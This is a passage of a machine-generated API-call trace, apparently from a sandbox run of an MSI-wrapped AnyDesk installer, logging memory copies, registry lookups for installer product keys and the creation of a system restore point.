_Src=0x31fd3e, _Size=0x6 | out: _Dst=0x35b010) returned 0x35b010 [0068.881] memcpy (in: _Dst=0x35b010, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x35b010) returned 0x35b010 [0068.881] memcpy (in: _Dst=0x35b040, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x35b040) returned 0x35b040 [0068.881] memcpy (in: _Dst=0x361190, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.881] memcpy (in: _Dst=0x360610, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.881] memcpy (in: _Dst=0x361190, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x360610, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x3393f0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x3393f0) returned 0x3393f0 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31fede, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31fef0, _Size=0xc | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x35b040, _Src=0x31ff00, _Size=0xe | out: _Dst=0x35b040) returned 0x35b040 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x35b010, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x35b010) returned 0x35b010 [0068.882] memcpy (in: _Dst=0x361190, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.883] lstrlenW (lpString="MSICLIENTUSESEMBEDDEDUI") returned 23 [0068.883] memcpy (in: _Dst=0x361190, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.883] lstrlenW (lpString="[~~~]") returned 5 [0068.883] lstrlenW (lpString="[~~~]") returned 5 [0068.883] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.883] memcpy (in: _Dst=0x32fef0, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32fef0) returned 0x32fef0 [0068.883] memcpy (in: _Dst=0x361190, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.883] memcpy (in: _Dst=0x35b010, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x35b010) returned 0x35b010 [0068.883] memcpy (in: _Dst=0x35b010, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x35b010) returned 0x35b010 [0068.883] memcpy (in: _Dst=0x35b040, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x35b040) returned 0x35b040 [0068.883] memcpy (in: _Dst=0x361190, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.883] memcpy (in: _Dst=0x360610, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.883] memcpy (in: _Dst=0x361190, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.883] memcpy (in: _Dst=0x35b010, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.883] memcpy (in: _Dst=0x361190, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x361190) returned 0x361190 [0068.883] memcpy (in: _Dst=0x35b010, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x35b010) returned 0x35b010 [0068.883] memcpy (in: _Dst=0x361190, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x361190) returned 0x361190 [0068.883] memcpy (in: _Dst=0x360610, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.883] memcpy (in: _Dst=0x361190, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.883] memcpy (in: _Dst=0x3393f0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x3393f0) returned 0x3393f0 [0068.884] memcpy (in: _Dst=0x361190, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.884] memcpy (in: _Dst=0x35b010, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x35b010) returned 0x35b010 [0068.884] memcpy (in: _Dst=0x361190, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.884] memcpy (in: _Dst=0x35b010, _Src=0x31fede, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.884] memcpy (in: _Dst=0x35b010, _Src=0x31fef0, _Size=0xc | out: _Dst=0x35b010) returned 0x35b010 [0068.884] memcpy (in: _Dst=0x35b040, _Src=0x31ff00, _Size=0xe | out: _Dst=0x35b040) returned 0x35b040 [0068.884] memcpy (in: _Dst=0x361190, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x361190) returned 0x361190 [0068.884] memcpy (in: _Dst=0x35b010, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.884] memcpy (in: _Dst=0x361190, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.884] memcpy (in: _Dst=0x35b010, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.884] memcpy (in: _Dst=0x35b010, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x35b010) returned 0x35b010 [0068.884] memcpy (in: _Dst=0x361190, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.884] SetLastError (dwErrCode=0x0) [0068.884] SetLastError (dwErrCode=0x0) [0068.884] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0068.885] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0068.885] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0068.885] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.885] GetCurrentThreadId () returned 0xf50 [0068.885] GetCurrentThreadId () returned 0xf50 [0068.885] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.885] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceba0, TokenInformationLength=0x58, ReturnLength=0x10ceb90 | out: TokenInformation=0x10ceba0, ReturnLength=0x10ceb90) returned 1 [0068.885] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec80, pSourceSid=0x10cebb0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.885] ConvertSidToStringSidW (in: Sid=0x10cec80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec60 | out: StringSid=0x10cec60*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.885] LocalFree (hMem=0x32ff50) returned 0x0 [0068.885] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.885] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.885] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf268 | out: phkResult=0x10cf268*=0x0) returned 0x2 [0068.885] GetCurrentThreadId () returned 0xf50 [0068.885] GetCurrentThreadId () returned 0xf50 [0068.885] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.886] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceba0, TokenInformationLength=0x58, ReturnLength=0x10ceb90 | out: TokenInformation=0x10ceba0, ReturnLength=0x10ceb90) returned 1 [0068.886] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec80, pSourceSid=0x10cebb0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.886] ConvertSidToStringSidW (in: Sid=0x10cec80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec60 | out: StringSid=0x10cec60*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.886] LocalFree (hMem=0x32fee0) returned 0x0 [0068.886] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.886] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.886] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf268 | out: phkResult=0x10cf268*=0x0) returned 0x2 [0068.886] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.886] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.886] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf268 | out: phkResult=0x10cf268*=0x0) returned 0x2 [0068.886] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0068.886] _vsnwprintf (in: _Buffer=0x10cea60, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cea28 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0068.886] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.886] GetCurrentThreadId () returned 0xf50 [0068.886] GetCurrentThreadId () returned 0xf50 [0068.886] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.886] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd910, TokenInformationLength=0x58, ReturnLength=0x10cd900 | out: TokenInformation=0x10cd910, ReturnLength=0x10cd900) returned 1 [0068.887] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd9f0, pSourceSid=0x10cd920*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd9f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.887] ConvertSidToStringSidW (in: Sid=0x10cd9f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd9d0 | out: StringSid=0x10cd9d0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.887] LocalFree (hMem=0x32ff50) returned 0x0 [0068.887] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.887] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.887] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde10 | out: phkResult=0x10cde10*=0x0) returned 0x2 [0068.887] GetCurrentThreadId () returned 0xf50 [0068.887] GetCurrentThreadId () returned 0xf50 [0068.887] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.887] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd910, TokenInformationLength=0x58, ReturnLength=0x10cd900 | out: TokenInformation=0x10cd910, ReturnLength=0x10cd900) returned 1 [0068.887] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd9f0, pSourceSid=0x10cd920*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd9f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.887] ConvertSidToStringSidW (in: Sid=0x10cd9f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd9d0 | out: StringSid=0x10cd9d0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.887] LocalFree (hMem=0x32fee0) returned 0x0 [0068.887] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.887] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.887] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde10 | out: phkResult=0x10cde10*=0x0) returned 0x2 [0068.887] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.887] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.887] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cde10 | out: phkResult=0x10cde10*=0x0) returned 0x2 [0068.887] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.888] GetCurrentThreadId () returned 0xf50 [0068.888] GetCurrentThreadId () returned 0xf50 [0068.888] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.888] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce700, TokenInformationLength=0x58, ReturnLength=0x10ce6f0 | out: TokenInformation=0x10ce700, ReturnLength=0x10ce6f0) returned 1 [0068.888] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce7e0, pSourceSid=0x10ce710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce7e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.888] ConvertSidToStringSidW (in: Sid=0x10ce7e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce7c0 | out: StringSid=0x10ce7c0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.888] LocalFree (hMem=0x32ff50) returned 0x0 [0068.888] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.888] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.888] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced40 | out: phkResult=0x10ced40*=0x0) returned 0x2 [0068.888] GetCurrentThreadId () returned 0xf50 [0068.888] GetCurrentThreadId () returned 0xf50 [0068.888] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.888] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce700, TokenInformationLength=0x58, ReturnLength=0x10ce6f0 | out: TokenInformation=0x10ce700, ReturnLength=0x10ce6f0) returned 1 [0068.888] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce7e0, pSourceSid=0x10ce710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce7e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.888] ConvertSidToStringSidW (in: Sid=0x10ce7e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce7c0 | out: StringSid=0x10ce7c0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.888] LocalFree (hMem=0x32fee0) returned 0x0 [0068.888] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.888] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.888] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced40 | out: phkResult=0x10ced40*=0x0) returned 0x2 [0068.889] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.889] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.889] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced40 | out: phkResult=0x10ced40*=0x0) returned 0x2 [0068.889] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0068.889] _vsnwprintf (in: _Buffer=0x10cef10, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ceee8 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0068.889] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce768 | out: phkResult=0x10ce768*=0x1e4) returned 0x0 [0068.889] RegEnumKeyExW (in: hKey=0x1e4, dwIndex=0x0, lpName=0x10ce7b0, lpcchName=0x10ce760, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10ce760, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.889] RegCloseKey (hKey=0x1e4) returned 0x0 [0068.889] _vsnwprintf (in: _Buffer=0x10cdf10, _BufferCount=0x13d, _Format="%s\\%s", _ArgList=0x10cdeb8 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18") returned 69 [0068.889] _vsnwprintf (in: _Buffer=0x10ce1a0, _BufferCount=0x3ff, _Format="%s\\%s", _ArgList=0x10cdeb8 | out: _Buffer="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 129 [0068.889] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf268 | out: phkResult=0x10cf268*=0x0) returned 0x2 [0068.889] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0068.889] _vsnwprintf (in: _Buffer=0x10cef10, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ceee8 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0068.889] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce768 | out: phkResult=0x10ce768*=0x1e4) returned 0x0 [0068.889] RegEnumKeyExW (in: hKey=0x1e4, dwIndex=0x1, lpName=0x10ce7b0, lpcchName=0x10ce760, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x10ce760, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.889] RegCloseKey (hKey=0x1e4) returned 0x0 [0068.889] lstrlenW (lpString="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 70 [0068.890] GetCurrentThreadId () returned 0xf50 [0068.890] GetCurrentThreadId () returned 0xf50 [0068.890] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cef50 | out: phkResult=0x10cef50*=0x0) returned 0x2 [0068.890] _vsnwprintf (in: _Buffer=0x10cede0, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ceb88 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 1715") returned 50 [0068.890] GlobalLock (hMem=0xf40058) returned 0x362ea0 [0068.891] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1715") returned 50 [0068.891] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1715") returned 50 [0068.891] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0068.891] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0068.891] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0068.891] lstrlenW (lpString="Error") returned 5 [0068.892] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1715") returned 50 [0068.892] lstrlenW (lpString="Error") returned 5 [0068.892] GlobalUnlock (hMem=0xf40058) returned 0 [0068.892] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x54d3, dwLanguageId=0x409, lpBuffer=0x10cebe0, nSize=0x100, Arguments=0x0 | out: lpBuffer="Installed [2]\r\n") returned 0xf [0068.892] lstrlenW (lpString="Installed [2]") returned 13 [0068.892] memcpy (in: _Dst=0x3627d0, _Src=0x361190, _Size=0x14 | out: _Dst=0x3627d0) returned 0x3627d0 [0068.892] memcpy (in: _Dst=0x3627e4, _Src=0x3611a6, _Size=0x2 | out: _Dst=0x3627e4) returned 0x3627e4 [0068.892] memcpy (in: _Dst=0x10ce888, _Src=0x3627e4, _Size=0x2 | out: _Dst=0x10ce888) returned 0x10ce888 [0068.892] SetLastError (dwErrCode=0x0) [0068.892] memcpy (in: _Dst=0x10ce9e0, _Src=0x362730, _Size=0x8e | out: _Dst=0x10ce9e0) returned 0x10ce9e0 [0068.892] memcpy (in: _Dst=0x3627e4, _Src=0x10ce9e0, _Size=0x8c | out: _Dst=0x3627e4) returned 0x3627e4 [0068.892] memcpy (in: _Dst=0x362bf0, _Src=0x3627d0, _Size=0xa0 | out: _Dst=0x362bf0) returned 0x362bf0 [0068.893] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.893] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.893] lstrlenW (lpString="SRCLIENT") returned 8 [0068.893] GetSystemDirectoryW (in: lpBuffer=0x10cedd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.893] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SRCLIENT.DLL") returned 0x7fefa510000 [0070.324] GetProcAddress (hModule=0x7fefa510000, lpProcName="SRSetRestorePointW") returned 0x7fefa514418 [0070.324] SRSetRestorePointW (in: pRestorePtSpec=0x10cf0b0, pSMgrStatus=0x10cf090 | out: pSMgrStatus=0x10cf090) returned 1 [0120.535] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0120.537] GlobalUnlock (hMem=0xf40038) 